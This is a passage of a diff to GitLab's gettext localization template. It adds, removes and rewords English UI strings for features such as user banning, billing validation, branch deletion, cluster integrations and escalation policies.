msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
